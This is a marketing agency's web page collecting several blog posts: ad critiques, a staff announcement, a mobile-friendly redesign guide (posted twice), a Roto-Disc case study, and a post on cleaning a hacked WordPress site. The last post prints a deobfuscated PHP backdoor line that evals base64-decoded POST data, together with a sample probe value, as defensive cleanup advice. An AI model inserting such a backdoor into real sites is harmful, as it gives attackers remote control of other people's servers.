skip to Main Content

Welcome

Our new location is in Blue Ash Ohio. We moved our marketing agency from Cincinnati's Over the Rhine in December of 2019. If you would like to arrange a meeting, please call us at (513) 463-3429. In order to keep our employees healthy and safe, walk-ins are not currently welcome.

Get In Touch

Phone: (513) 463-3429
Address: 11223 Cornell Park Drive Suite 301, Blue Ash Ohio 45242

Our Location

Lohre Industrial Marketing Location

Water Efficiency: Reader Survey, Industrial Marketing Review


Verizon – Very good ad with a real life photo of truckers. The message is a classic Call-To-Action with an eBook to download. Very well done.


Another great ad. Very clear headline, good photo and the copy gets right to the point about the guarantee. Directs folks to their booth and even social sharing buttons.


Starts out great with a clear metaphor of the dual nature of their business but then the copy says nothing except for a few buzz words. Sure it’s pretty much impossible to actually use a testimonial but I would like to have one. At least an actual problem solution that demonstrates their capabilities would be better. With real numbers and real results.


It’s very hard to have an attention getting ad without a human or an animal in it. It would have been better to put a fish in the glass. What is chlorsulfonated polyethylene? It’s an honest question this ad should answer.

 
I take it back what I said about Burke. This ad is informative and doesn’t have an animal in it. Good invitation to the product launch and a convincing story. A lot packed into a small package but it works. Good job, Crane.


Oh boy, “Settle the Fuck Down!” It’s not even a metaphor for their process. Or so complicated I don’t get it. Great photo and an easy to understand process that replaces flocculant. Why not explain it? They start in the fine print.


A branding ad with the name in the headline. Why waste the space? What does Aerostrip mean? Air-O-Strip? Strip-O-Air would be better. The copy begs for some actual detail about how it saves money and time. Is the floor mounting patented? 


If you can’t say anything but your name at least show some projects. Some capacities or details of the photos would be nice.


Everything works great. I’d just like to know the guy’s name and contact info, I’m ready to learn more. The promised application examples aren’t on their web site.


Good information for applications. I guess the ad is dual purpose for manufacturing ideas and for membership. Pick one or the other, if you can.


What’s the use of such a milk toast ad? Like logos on a Nascar? At least BASF had a slogan, “We don’t make the products, we make them better.” Better off using the cost of this ad to sponsor industry association meetings. They could use it. At least their local rep could get up and say a few words.


Nice informative ad. I like the story they tell and the clear product definition and illustration.


Good basic product ad. Begs to be online with the video link. I thought I was going to get a good demonstration but instead I got a long funky web page. Still don’t understand how it eliminates a welded flange.

Read More

Review: Designing B2B Brands” for industrial marketing communications”

Branding lessons from Deloitte and 195,000 brand managers, by Carlos Martinez Onaindia & Brian Resnick.

HOW Magazine introduced us to this 2013 book published by John Wiley & Sons, Inc., it’s about Deloitte’s branding and its implementation throughout the organization. We saw an ad on HOW’s website.

Read More

Lohre & Assoc. Welcomes Noted Artist and Web Designer Myke Amend to its Team

Web Design and Web Development Guru, Grphic Artist and Graphic Designer, Myke AmendCincinnati native Myke Amend recently joined Lohre & Associates, the Over-the-Rhine-based marketing communications agency, fulltime as Web Design & Internet Development creative officer. Amend has worked with Lohre for the past 10 years as a web designer and web developer on a freelance basis from Grand Rapids, Mich.

Amend, who returns to Cincinnati for the new position, brings two decades experience as a graphic designer, web designer, programmer, and Internet developer, working on a variety of business-to-business and consumer accounts. Additionally, Amend is an illustrator, engraver and painter, whose work has been commissioned by other artists in film, music and literature.

“We’re very excited to have Myke working with us,” says Chuck Lohre, president, “He brings the creativity and skills of a fine artist, with his vast digital expertise. It’s a perfect combination for our agency, which is known for creative solutions to the wide variety of branding, strategy and digital implementation projects we handle for our clients.”

Adds Amend, “It’s gratifying to know Chuck and his team of designers, writers, strategists and brand experts welcome the years of experience I bring from fine arts with the in-demand digital know-how. I’m excited to develop ways we can continue to solve challenges for the companies who have looked to Lohre for ways to set them apart from their competitors.”

Amend’s illustrations have been featured in “Weird Tales” magazine, “Beneath Ceaseless Skies,” “Gatehouse Gazette,” “Kilter” magazine, “Gothic Beauty” magazine, the art collection “Gothic Art Now,” the art collection “Vampire Art Now,” the “Airship Pirates RPG” and many more print publications as well as popular online resources such as “IO9,” “Elfwood,” “Dark Roasted Blend,” “Fantasy Art” magazine, “Lines and Colors,” “Brass Goggles,” “Gawker, “BoingBoing.” His work has also been featured on the sites of literary creatives including Warren Ellis, Thomas Ligotti, Neil Gaiman and Clive Barker.

Additionally Dexter Palmer, Cherie Priest, The Pickled Brothers Sideshow, Vernian Process, Veronique Chevalier, the Borgia Popes, Automaton, Abney Park and others have commissioned Amend for works. He is often a special guest of art, horror and steampunk conventions. He also works in sculpture and kinetic art, most notably having created a 4000-lb. solar and wind-powered rotating mural and 3D work called “the Infernal Device,” which was displayed at the Gerald R. Ford Museum for ArtPrize 2011.

In between Myke has filled his time working on ModelARestorers.org, as sole designer, webmaster, and server admin of a site serving 180 chapters Worldwide, creating advertising art for Disney Fine Art Gallery, and of course working for Lohre and Associates, for whom he now works full time.

Read More

Trade Show Display, Exhibit Materials Sale

Effective today, Monday, August 3rd, Orbus Exhibit & Display Group is proud to announce price reductions on many of its popular product lines, including: Most Retractable Banner Stand hardware All Banner Stand graphics (all materials) Aero Banner System hardware &…

Read More

Industrial Marketing Review 3-2015 Foundry Management & Technology Ads

Didion Advertising DesignDiDion Advertising Design 2 
Very good ad with four excellent testimonials. Good information but they didn’t have to go negative with “Competition relies on hype, bogus claims and negative scare tactics.”
 
Read More

Redesigning a Website to be Mobile-Friendly on a Budget


Website Redesign Does Not, Should Not Always Mean Replacement:

We all know how increasingly important having a mobile-friendly website has become to search engine placement, but for many reasons, a company might not be ready, or able to do a complete overhaul of an antiquated website or website design.

I am going to go over a few ways a company can hold onto the site they have (as well as a few reasons they might want to) while quickly and inexpensively bringing their site into the 2010s with mobile-friendly styling.

Common reasons not to upgrade a website:

  • It is not in the budget: This might because money was already recently put into a new website design, or that the ideal and perfect website for the company will require more capital than is currently available.
  • There isn’t time: Funding aside, major web development tends to require time from the client for gathering promotional literature and other collateral materials, approving designs, flow charts/site maps, discussions on what the new website should be able to do. When it comes to building a new website, some level of collaboration is necessary.
  • Google and other search engines really like old sites: It is true that the older a website is, the more reliable the website appears to search, but one must also consider that regularly-updated sites are also favorable. The perfect mix, we’ve found, is having a site with an old domain, and regularly updating it.

Rome wasn’t built in a day – Good websites also take time.

The very best sites are not made in a day, or even a month – The best websites are the product of years or more of regular updates and upgrades, close attention to not creating broken links in the process, and minor design improvements made regularly. This is especially true when it comes to SEO.

Coming from an artist who has spent over 20 years as a web developer, over a decade more doing graphic design, and an entire lifetime creating fine art: There really is something to be said for works that have had a lot of time, passion, and care for detail put into them. This level of attention to detail does not happen with purchased templates, it does not come with even the largest budget for website redesign. Sure, it can begin there, but the very best websites come from many, many minor changes.

As important as it is to regularly update your CMS (content management system) software, update plugins, check your site’s and servers security, check for broken links, create new blog posts, create new pages, create other content, check directories and other inbound links – making regular minor changes to design, function, and architecture is what brings a website ever-closer to perfect.

“Minor changes”?? Making our website mobile-friendly is a huge undertaking!!

It is easy to think this. Your site might have a lot of pages… hundreds, even thousands. You might even have several different templates for several different types of pages within your site. Your site might even be built on an older/outdated CMS, a long-extinct version of one, or something completely proprietary and unsupported **

Regardless of the type of server you are running on, whether your pages are php, asp, HTML, regardless of what CMS you are using or how old your site is, the end result is that all web site pages are outputted as some sort of HTML, the language a web-browser reads to present a web page for your viewing, and all HTML is, or rather should be formatted with stylesheets – which are all some form of CSS.

Restyling/Redesigning the website to work well with mobile from here is mostly a matter of adding of taking these steps:

  • Adding the viewport meta tag to the header is the first thing I do: Re sizing my browser, I can see how the site and its pages are going to look at different widths, but for a lot of mobile devices the site will not present the same without this tag, which can be easily forgotten.
  • Use media queries within the css to make the web pages and their elements behave differently at different screen sizes: This is mostly a matter of making sure all elements (images, layers, paragraphs) have a max-width of 100% or less (including their margins, borders, and sometimes padding), and that their contents will not overflow those boundaries (by declaring how to treat overflow).
  • Make sure things fall properly into line: Images, layers, and paragraphs ideally should, most-often each take up the full width of a mobile device. I tend to make elements expand to this size, then add  “clear: both” and “float: none” to their styling.
  • Make sure they fall into the proper order: Things that were floating left end up above the elements that were to their right, this is not always the best order for viewing. Sometimes element a, b, and c need to be read top-to-bottom as c, b, and a. To address this, I tend to go the Flex/ Flex-flow/Order method, but this and a number of other methods are covered in this stack overflow thread.
  • Make a simple mobile menu/thumb menu: You need only use CSS to do this. A very simple drop down thumb menu can be found here, on Medialoot. Sometimes, especially if there are few pages, it is even more simple. For both Dynamic Industries (large scale machining) and Vertiflo Pump Company (vertical submersible centrifugal pumps), I didn’t even make a thumb menu – I simply made it so that menu items fell into new rows, evenly, and gave them a layered tab appearance on mobile devices.

Mobile-friendly Website redesign for Dynamic IndustriesMobile-friendly Website redesign for Dynamic Industries

Above (left and right) The pages of this standard HTML site were given a mobile-friendly re-design through simple CSS styling changes. A mobile menu was also added simply by re-styling the existing links/navigation

Foreseeable difficulties:

For a lot of older, really older sites, or for sites that were designed by people with limited design knowledge, or no design knowledge at all, these are some common snags run into:

  • The website, site pages, or site content were created in MS Word: The result of this is a massively huge file, horribly coded, and especially badly-coded for trying to restyle with CSS. There is a large amount of proprietary code in there, and unique styles are applied to most every element, if not each and every character. There are a number of ways to clean this up, I am not going to recommend any of them in particular (but advise you try several of the free ones first).
  • There is no CSS style sheet, and there are no CSS styles applied: Actually, often this is even better – it means that you will not be fighting competing style declarations and addressing most things element by element. CSS will override HTML in most cases (unless there is inline CSS). Just attach a stylesheet to the pages or template and work from there.
  • There are inline styles for a number of elements or for every element: I really hate to use it, but if a very object-specific CSS declaration won’t do, you can use “!important” at the end of your declarations to override these. Use them sparingly. If all else fails, any good text editor with “find/replace” can possibly be used (locally) to remove these as you find them. If these inline styles are used within post and page content, a good find/replace plugin might be available for your CMS. If it is WordPress, I use “Better Search/Replace“.
  • Tables??… who still uses tables?? A decade after most designers should have stopped using them, they are still a fairly common thing. Sometimes, they are even necessary… at least until Mozilla Firefox starts handling flex correctly. Though tables are something to be avoided for layout, they are still handy as far as what they were intended for: Displaying specs and data. Generally, if tables are used to layout content, I break them apart with “display: block; overflow: hidden; float: none; clear: both;” and then work on the styling from there. Since a majority of our clients are Industrial, and more specifically: in the process industry tables filled with data are pretty common. I use CSS to break lines and to rotate the table headers at smaller sizes, like so (LEFT/top: normal website view of the table, RIGHT/bottom: Mobile website view of the table):

Website Design: Table Rotation example 1web-design-table-rotation.png

 

So… Why are we doing this again?

1. Search engines now favor mobile-friendly websites.

2. Content that is mobile-friendly reaches a wider audience/is more accessible.

3. Content that is mobile-friendly is more likely to be shared, if only because of the wider audience provided by being mobile-friendly and having better search placement.

4. It is actually not as hard as it might seem:

I know it might seem like a lot of work, all of these steps might not be necessary, and taking these steps could get help your website by in the mean time, and possibly for a while – maybe much longer if the website is regularly kept up to date with internet standards. It is also often easier, and more cost-effective to maintain a website than it is to completely replace it. Making your website mobile-friendly will put you back on the right path.

These changes, are changes that should be applied over a handful of days, and improved upon as time goes by. If you do not have a web designer who is capable of doing this in this time frame, we’d be happy to help – Just contact us.

Making a website mobile-friendly is very important in that Google and other search providers use this as a standard when giving search placement. If you also consider that an increasing amount of website visitors are using cellphones or other mobile devices, and that this portion of visitors and potential visitors is fast-becoming the majority, you know that not having a mobile-friendly site is like being on only a very small portion of the internet. It is not a very nice thing to do to yourself, your company, or all those who might wish to be connected with your product or service.

 

 

 


** In the latter case: Yes, I would suggest some sort of overhaul – because any CMS or plugin version even an hour old might have some exploit or other vulnerability that will end in your site being loaded with malware and pharmaceutical ads, if it is not already. I won’t go into that here, You can read more about that here, for the sake of this article I am going to assume your site is secure and sound against these things.

Read More

Mobile Friendly Website on a Budget


Website Redesign Does Not, Should Not Always Mean Replacement:

We all know how increasingly important having a mobile-friendly website has become to search engine placement, but for many reasons, a company might not be ready, or able to do a complete overhaul of an antiquated website or website design.

I am going to go over a few ways a company can hold onto the site they have (as well as a few reasons they might want to) while quickly and inexpensively bringing their site into the 2010s with mobile-friendly styling.

Common reasons not to upgrade a website:

  • It is not in the budget: This might because money was already recently put into a new website design, or that the ideal and perfect website for the company will require more capital than is currently available.
  • There isn’t time: Funding aside, major web development tends to require time from the client for gathering promotional literature and other collateral materials, approving designs, flow charts/site maps, discussions on what the new website should be able to do. When it comes to building a new website, some level of collaboration is necessary.
  • Google and other search engines really like old sites: It is true that the older a website is, the more reliable the website appears to search, but one must also consider that regularly-updated sites are also favorable. The perfect mix, we’ve found, is having a site with an old domain, and regularly updating it.

Rome wasn’t built in a day – Good websites also take time.

The very best sites are not made in a day, or even a month – The best websites are the product of years or more of regular updates and upgrades, close attention to not creating broken links in the process, and minor design improvements made regularly. This is especially true when it comes to SEO.

Coming from an artist who has spent over 20 years as a web developer, over a decade more doing graphic design, and an entire lifetime creating fine art: There really is something to be said for works that have had a lot of time, passion, and care for detail put into them. This level of attention to detail does not happen with purchased templates, it does not come with even the largest budget for website redesign. Sure, it can begin there, but the very best websites come from many, many minor changes.

As important as it is to regularly update your CMS (content management system) software, update plugins, check your site’s and servers security, check for broken links, create new blog posts, create new pages, create other content, check directories and other inbound links – making regular minor changes to design, function, and architecture is what brings a website ever-closer to perfect.

“Minor changes”?? Making our website mobile-friendly is a huge undertaking!!

It is easy to think this. Your site might have a lot of pages… hundreds, even thousands. You might even have several different templates for several different types of pages within your site. Your site might even be built on an older/outdated CMS, a long-extinct version of one, or something completely proprietary and unsupported **

Regardless of the type of server you are running on, whether your pages are php, asp, HTML, regardless of what CMS you are using or how old your site is, the end result is that all web site pages are outputted as some sort of HTML, the language a web-browser reads to present a web page for your viewing, and all HTML is, or rather should be formatted with stylesheets – which are all some form of CSS.

Restyling/Redesigning the website to work well with mobile from here is mostly a matter of adding of taking these steps:

  • Adding the viewport meta tag to the header is the first thing I do: Re sizing my browser, I can see how the site and its pages are going to look at different widths, but for a lot of mobile devices the site will not present the same without this tag, which can be easily forgotten.
  • Use media queries within the css to make the web pages and their elements behave differently at different screen sizes: This is mostly a matter of making sure all elements (images, layers, paragraphs) have a max-width of 100% or less (including their margins, borders, and sometimes padding), and that their contents will not overflow those boundaries (by declaring how to treat overflow).
  • Make sure things fall properly into line: Images, layers, and paragraphs ideally should, most-often each take up the full width of a mobile device. I tend to make elements expand to this size, then add  “clear: both” and “float: none” to their styling.
  • Make sure they fall into the proper order: Things that were floating left end up above the elements that were to their right, this is not always the best order for viewing. Sometimes element a, b, and c need to be read top-to-bottom as c, b, and a. To address this, I tend to go the Flex/ Flex-flow/Order method, but this and a number of other methods are covered in this stack overflow thread.
  • Make a simple mobile menu/thumb menu: You need only use CSS to do this. A very simple drop down thumb menu can be found here, on Medialoot. Sometimes, especially if there are few pages, it is even more simple. For both Dynamic Industries (large scale machining) and Vertiflo Pump Company (vertical submersible centrifugal pumps), I didn’t even make a thumb menu – I simply made it so that menu items fell into new rows, evenly, and gave them a layered tab appearance on mobile devices.

Mobile-friendly Website redesign for Dynamic IndustriesMobile-friendly Website redesign for Dynamic Industries

Above (left and right) The pages of this standard HTML site were given a mobile-friendly re-design through simple CSS styling changes. A mobile menu was also added simply by re-styling the existing links/navigation

Foreseeable difficulties:

For a lot of older, really older sites, or for sites that were designed by people with limited design knowledge, or no design knowledge at all, these are some common snags run into:

  • The website, site pages, or site content were created in MS Word: The result of this is a massively huge file, horribly coded, and especially badly-coded for trying to restyle with CSS. There is a large amount of proprietary code in there, and unique styles are applied to most every element, if not each and every character. There are a number of ways to clean this up, I am not going to recommend any of them in particular (but advise you try several of the free ones first).
  • There is no CSS style sheet, and there are no CSS styles applied: Actually, often this is even better – it means that you will not be fighting competing style declarations and addressing most things element by element. CSS will override HTML in most cases (unless there is inline CSS). Just attach a stylesheet to the pages or template and work from there.
  • There are inline styles for a number of elements or for every element: I really hate to use it, but if a very object-specific CSS declaration won’t do, you can use “!important” at the end of your declarations to override these. Use them sparingly. If all else fails, any good text editor with “find/replace” can possibly be used (locally) to remove these as you find them. If these inline styles are used within post and page content, a good find/replace plugin might be available for your CMS. If it is WordPress, I use “Better Search/Replace“.
  • Tables??… who still uses tables?? A decade after most designers should have stopped using them, they are still a fairly common thing. Sometimes, they are even necessary… at least until Mozilla Firefox starts handling flex correctly. Though tables are something to be avoided for layout, they are still handy as far as what they were intended for: Displaying specs and data. Generally, if tables are used to layout content, I break them apart with “display: block; overflow: hidden; float: none; clear: both;” and then work on the styling from there. Since a majority of our clients are Industrial, and more specifically: in the process industry tables filled with data are pretty common. I use CSS to break lines and to rotate the table headers at smaller sizes, like so (LEFT/top: normal website view of the table, RIGHT/bottom: Mobile website view of the table):

Website Design: Table Rotation example 1web-design-table-rotation.png

 

So… Why are we doing this again?

1. Search engines now favor mobile-friendly websites.

2. Content that is mobile-friendly reaches a wider audience/is more accessible.

3. Content that is mobile-friendly is more likely to be shared, if only because of the wider audience provided by being mobile-friendly and having better search placement.

4. It is actually not as hard as it might seem:

I know it might seem like a lot of work, all of these steps might not be necessary, and taking these steps could get help your website by in the mean time, and possibly for a while – maybe much longer if the website is regularly kept up to date with internet standards. It is also often easier, and more cost-effective to maintain a website than it is to completely replace it. Making your website mobile-friendly will put you back on the right path.

These changes, are changes that should be applied over a handful of days, and improved upon as time goes by. If you do not have a web designer who is capable of doing this in this time frame, we’d be happy to help – Just contact us.

Making a website mobile-friendly is very important in that Google and other search providers use this as a standard when giving search placement. If you also consider that an increasing amount of website visitors are using cellphones or other mobile devices, and that this portion of visitors and potential visitors is fast-becoming the majority, you know that not having a mobile-friendly site is like being on only a very small portion of the internet. It is not a very nice thing to do to yourself, your company, or all those who might wish to be connected with your product or service.


** In the latter case: Yes, I would suggest some sort of overhaul – because any CMS or plugin version even an hour old might have some exploit or other vulnerability that will end in your site being loaded with malware and pharmaceutical ads, if it is not already. I won’t go into that here, You can read more about that here, for the sake of this article I am going to assume your site is secure and sound against these things.

{{cta(‘da79168e-87d6-4dd7-9751-d71d731e54a9’)}}

Read More

Mobile-Friendly Website Design with an Image-Based Menu

When Lohre and Associates began this project, Roto-Disc, Inc. had a standard HTML web site that they liked, as much as we did, for a number of good reasons:

  • It was built to reflect the look and feel of Roto-Disc‘s product catalog about as closely as could be done with a website. It matched Roto-Disc‘s catalogue so very well that the site itself felt like well-designed and well-planned literature.
  • Pages were designed, not as a whole in cookie-cutter fashion, but for their purpose. Much like a printed brochure, everything was cohesively-branded as one well-collected work – yet each individual page was custom-tailored to best-present the products and services on that page.
  • The existing outline was near-perfect. Divisions between pages and topics were pretty spot-on, easy to navigate and easy to follow.

Web Design for Rotodisc CincinnatiAbove: The standard HTML site that was.

It was however, as sites made years ago tend to be: static in size and format, with no mobile menus or even alternate mobile version, and no CMS or other way to dynamically-generate new content – all of which we know to be a problem today for these reasons:

  • Google now gives better indexing for mobile-friendly sites, and penalizes sites that do not have mobile-friendly design or versions.
  • Engineers and other decision-makers in the Process Industry cannot easily view these sites while they are out in the field, which is about the time that needs for new equipment tend to arise or happen to be revealed.
  • Sites not viewed by mobile users do not get shared by mobile users, who make up for an increasingly-large percentage of internet viewers.
  • Sites that are blogs, WIKIS, or otherwise CMS-driven, have a sizable SEO advantage over most sites that are not. Growing content and fostering inbound links are incredibly-important to SEO. Blogs also enable a company to position itself as an industry leader, and give them the tools to build and maintain better customer relationships.

Another need to consider was that Roto-Disc‘s Product line would soon be expanding. In addition to the Heavy-Duty Spherical Valves, Lighter-Weight Spherical Valves, Sanitary Spherical valves, Inflatable Seal Spherical Valves, Heavy-Duty Clean Flow Diverters, and Airlock/Double-Dump Valves Roto-Disc already had a new section for Flange Adaptors, Wedge Inserts, and Stub Adaptors that needed to fit into the current image-based menu. Soon Roto-Disc would need to also add Process Transitions, and Splitters/Convergers, as well as the Flange Adaptors to this small swatch of internet real-estate.

From This We Created A Short List of Initial Project Goals:

  • Emulate the general look and feel of Roto-Disc‘s catalog, which we had recently updated for the new product line.
  • Preserve the image-based menu and allow for more menu items to be added.
  • Make their site completely responsive and mobile-friendly.
  • Make navigating and reading the site easy for *all* sizes: large screens, smartphones, *and* tablets.
  • Build it as a CMS (WordPress in this case) for blogging, scaleable SEO, Inbound Marketing, and ease of content editing.
  • Include the best SEO plugins available so that the SEO approach can be updated for new search rules and algorithms.

Which Enabled Us to Build This List of Challenges:

  • The new catalog was rich with very in-depth charts for most every product. Some of these would require tables with at least 15 columns. Large tables are very difficult to display on mobile devices and harder still to display in a size and format that is easy to read and does not require scrolling or turning the device to horizontal view.
  • We wanted the image-based menu to look good on desktop systems, and did not want to lose it to a simple mobile menu at tablet and mobile sizes.
  • The image-based menu would require dropdowns so that viewers would have direct access to the spefic product information they were looking for.
  • We needed dropdown menus to work for desktop, laptop, tablet, and smartphones. Since touch devices do not have a hover state for links, we needed to make the menu expand and contract when clicked, not moused over. This was a major consideration when it came to tablet users, because the image would present somewhat like the desktop version, but with no mouseover capabilities.
  • We wanted to preserve the image menus even in the mobile version if possible.
  • Having “sticky” always-on-top navigation is always nice when it comes to desktops and laptops – We wanted to find a way to do this for both the header and standard navigation, as well as the image navigation. We wanted to do this without these items completely consuming the available viewport. We also wanted the sticky image menu to not be sticky on tablets because of limited space.
  • For tablet users who would lose this sticky navigation, we needed alternatives, such as an easy way to return to the navigation and/or adding navigation also to the footer of the pages.

Our Solutions:

Web Design /Website Design for RotoDisc Cincinnati

Wide-open: The site design is based on the Brochure, but made for web, driven by WordPress, with an image menu plugin for ease of editing the image-based menu.

Web Design / Website Design for Rotodisc Cincinnati

An Additional Consideration: For Desktop users, the image links display an instruction when moused over, letting them know that clicking will open and close the submenu (though the submenu will go also away on its own when no longer in focus).

Mobile-friendly Web Design / Website Design for Rotodisc Cincinnati

The benefits of using a plugin and not hard-coding this aspect: All of the above menu and Submenu items can be added, removed, or edited through the control panel.

Mobile-friendly Web Design / Website Design for Rotodisc, Cincinnati

Two Sticky Menus in motion: The Image menu slides up onto the header when the page is scrolled, and stays – leaving the most important items of both sets of navigation always at the top of the screen for easy access.

Mobile version of Web Design / Website Design for Rotodisc Cincinnati

Not so sticky: On smaller-sized screens not quite small-enough for the mobile menu the image menu items switch size to fall into three rows of three icons. The menu no longer sticks at the top so that content can be seen when scrolling.

Web Design / Website Design Tables for Rotodisc Cincinnati

Large Tables: These charts do not seem like they will fit well on a smaller screen… especially not on mobile, not even in landscape aspect. What can be done?

Mobile width view of Web Design / Website Design for Rotodisc Cincinnati

AHA! Jquery to the rescue: By rotating the table header text 90% and re-scaling those cells accordingly, we have a LOT more space to work with when presenting these tables on mobile devices. No scrolling necessary. Some strategic line-breaking in the product number column and Viola!

Mobile width view 2 of Web Design / Website Design for Rotodisc Cincinnati

The Mobile Menu: It seems as though the image menu has been lost… and that would be sad. … but we can do better!

Mobile width view of Nav menu for Web Design / Website Design for Rotodisc Cincinnati

Huzzah!: There is that image menu again, not lost afterall.

Mobile menu of Web Design / Website Design for Rotodisc Cincinnati

The “Open/Close” Instructions: They are pointless here, because you cannot mouseover on a tablet or other mobile device, but they won’t be seen for this reason. Plus: They are still handy if you like keeping your browser window very small.

Mobile menu view for Web Design / Website Design for Rotodisc Cincinnati

Tricky: Submenus on an image menu in a mobile menu. I can’t think of any place I have seen this before – actually *many* aspects of this project were something completely new.

Mobile width view 3 of Web Design / Website Design for Rotodisc Cincinnati

Falling in line: Divs and most tables break apart – images set themselves to fill the viewport, and horizontal content becomes vertical in order to keep images large enough to view, also keeping text from being crammed awkwardly on the smaller screen.

Below: You’ll notice the menu does not stick to the top in mobile view. Sticky menus on mobile, especially for sites with many pages, are not a good idea. If the menu extends beyond the viewport, and does not scroll – then the only part of the menu that can be accessed is the part at the top of the screen. This will leave visitors stuck and incredibly frustrated. You can in some cases make another scrollbar just for the navigation, but if it is not seen visitors will think they have arrived at a broken site and move on.

Mobile width view 4 of Web Design / Website Design for Rotodisc Cincinnati

{{cta(‘da79168e-87d6-4dd7-9751-d71d731e54a9’)}}

Read More

Removal of Back Doors from a WordPress or other PHP-Driven Site

Occasionally, when we are working on a new client’s website, whether that is redesign, minor changes to make it responsive/mobile-friendly, repairing a broken site, or moving it over to our hosting, we’ll run across a few previously-unknown issues. Actually we’ve come to expect this.

When people leave their old hosts or developers, there is usually a reason. We’ve had clients come to us with sites that were patched together to operate in substandard environments, and sites built on CMS that are no-longer supported – patched together over the years to operate in standard environments to the point where there is more patch than there is software.

We also tend to gain clients who want their site hosted someplace where their site is not one in a few hundred, or one in a few hundred-thousand sites hosted. They can’t afford for their site or email to go down, and to go a day without notice.

Sometimes we’re just liberating a client from a pointlessly expensive or otherwise problematic situation.

This is a story about in many, many site moves of this past year…. all of them interesting in their own way, but I took some extra time out to document this one…

Before the Big Move

Generally, if their site is not working – I’ll try to fix their site before migrating it over. I’ll at the very least update the software and run a security scan before downloading and exporting. In some cases, however, where the server/host is the problem, the site cannot be worked on in place.

How to be a Bad Web Host: Taking the “Control” out of “Control Panels”

A new client of ours had a website that had suddenly stopped working. When I took a look at the control panel, well… first thing I found was that I did not like the Host’s control panel – it was a proprietary mess, laid out horribly, very limited in functionality compared to most, and many of these functions did not work at all. Another thing I found was that the client’s files were still there and intact, just that PHP processing had been turned off for the entire site.

Typically, when a host just turns functionality off for a site, it is a pretty-good sign that the site has been hacked, or is otherwise misbehaving. Hosts will switch off/disable infected sites or sites that are causing issues with the server, but… one would hope that if they switched it off, they would have noted why. In this case they didn’t email the customer to tell them that they disabled this site, one the host was still billing for. I suppose making notes was also just too much work, because they apparently had no idea why it was turned off, and non-ceremoniously turned it back on.

By the time they managed this, I had already downloaded the site, and exported the database, but it was good to have the site working again while we went through the process of transferring the domain. When I ran into some problems with the domain administration in their control panel not working, I read up about the host. From there I knew was going to be a very and slow painful process… which it was. I think the former host’s only strategy for keeping customers is to make it very hard, near-impossible for customers to get away.

WITH ICANN, YOU CANN

Having mentioned my willingness to go through ICANN to make the switch happen, suddenly we had cooperation and the domain was unlocked. I still had to wait another 7 days for the former host to not contest the final transfer, because of course they were not going to use their energy to approve it – but that gave me a little time to set the site up in its future home.

By then, I had already created a new database, imported the tables, set up database users, set their permissions, pre-configured the domain pointing, and uploaded their site so that everything could be perfectly in place when the domain switched hands.

Watch Where You Put that WebSite – You Don’t Know Where it’s Been!

Since the hosted site was not working on the server when I downloaded the site and exported the database, and I hadn’t the chance to upgrade the software or run a security scan, I decided it might be good to look through some of the files before the site went live. Looking for possible backdoors is pretty important at this stage, because we definitely don’t want to bring those over to our server.

When doing this, hunting for back doors in-particular, one would think the easiest solution is to look for the most common signature: Base64_decode, but as you see below (what I found on the old site) – this is often scrambled like a sunday morning word jumble, strtolower is used to select characters from the jumbled letters in the first string into commands.

PHP Alphabet Soup

How this word jumble works is to use the help of the command ‘eval’, to make this:

become this:

if(isset($_POST['n764b3b'])){eval(base64_decode($_POST['n764b3b']));

With this in place, a bot or hacker, can send parameters through HTTP POST such as: n764b3b='ZWNobyAnMW9rMScuIlxuIjtleGl0Ow==', which becomes: base64_decode('ZWNobyAnMW9rMScuIlxuIjtleGl0Ow=='), which becomes: 'echo '1ok1'."n";exit;'

Now whoever has sent this command knows their exploit is in place, because instead of the page they are ‘visiting’ is a blank page that just says “1ok1”.

This allows them, and others know that they can send pretty much any command they please through your site. This can include writing new files, using your mail server, any number of things, but any number of these typically ends up in damaging your domain’s search reputation or your domain’s email reputation. In most cases I’ve found SEO Spam (mostly Pharma Hacks), Malicious Redirects, but in some cases I have found Malware Delivery Systems, Attack Site or Referrer Spam automations, Phishing Pages, and Email forms to send Spam by. Wordfence covers that list very well here.

Searching… Seek and Destroy!

When searching for more instances of this infection, you could do a search for the whole PHP script – but you’ll likely only find the one infected page that way, the one you are already viewing. There could be hundreds of infected files in root folders, upload folders, theme/template folders and many other places.

In some cases, the original word-scramble string changes order and often name and the order in the strtolower command changes accordingly, and there could be twenty to a hundred parameter names for the the hacker to use on your site. In others, the variable names change, or there are multiple parameters that can be passed to the site (a different script for each one).

There are ways through SSH to use commands such as ‘grep’ to seek and replace this section of code out with wildcards. It can be handy in a pinch, if your host allows you this level of access, and if you formulate your command very well. Otherwise: in one shot you could accidentally remove many important lines of code from many important files across your domain; You could also end up leaving snippets of code in place that also end up breaking the site. The linked example is a how-to on fixing an infected Drupal site, but the same technique could be used for just about any CMS. Of course if you have a WordPress site that is up and running, and can install Wordfence, that is one of the quickest ways to find and remove these infected files.

One downside to working on the site in place on the server, is that backdoors could be exploited while you are fixing the site. Missing just one could put you right back in the same place again weeks, days, minutes later. If you are using Wordfence – just do a new scan after you fix the infected files and you should be fine. If you are seeking out the files and changing them by hand, you should download the site and edit files locally. You can upload the fixed website in place of the infected one when done and know that no new files were infected while you were working.

When doing this, I tend to start by searching for ‘eval’ – it’ll bring up a number of false positives, because eval is fairly-commonly used, but it will also bring up all the infected files for this type of infection. Once you’ve found all these files, then look through those files and look for commonalities in the infection other than ‘eval’.

A Common Thread… or Rather String…

In this case, I found that all of the infected files did use two common string names: $s20, and $s21. Both are present in all instances, so I only needed to look for $s21 from here, and this filters out all of the false positives.

Finding Malicious Scripts in a Hacked Website with Dreamweaver, similar Web Design / Web Development tools

Above: Searching an entire folder with the “Find All” command (do not do “Replace All”). This will open all files infected. You don’t need an expensive WYSIWYG, but it is nice to have this one. Any open-source text editor with a Find/Replace function should do. If you are looking for an open-source WYSIWYG, such as Brackets, that should also do.

I found around 40 files that were infected, so I just opened them all and cut this line of code out by hand. If there were more of these, say hundreds (which I have found before) – I’d have put the site into a test/quarantine server, and used SSH to search and replace.

Of course when sites are in WordPress, there are a lot of shortcuts you can take when fixing by hand, which come down mostly to where the infections reside:

  • If the infected files are mostly in “uploads”, one can delete all the php files found in that folder and subfolder, and put a blank “index.php” file back into each folder. There is no reason php files should be in this place. Searching this folder on your mac or pc means just being able to highlight all the found php files and delete them.
  • If they are mostly in the wordpress install itself: Delete the admin and includes folder and upload new. Upload new versions of the files in the root folder. Delete any files in the root folder that do not belong (php files that were not replaced by the new wordpress files, excluding config.php). Check config.php for malicious code.

    In the above: You’ve just saved yourself from searching the root, admin, and includes folder. This should leave only the wp-content folder, for which you’ve already taken care of the uploads. The upgrades folder should be empty, so only the themes folder remains.

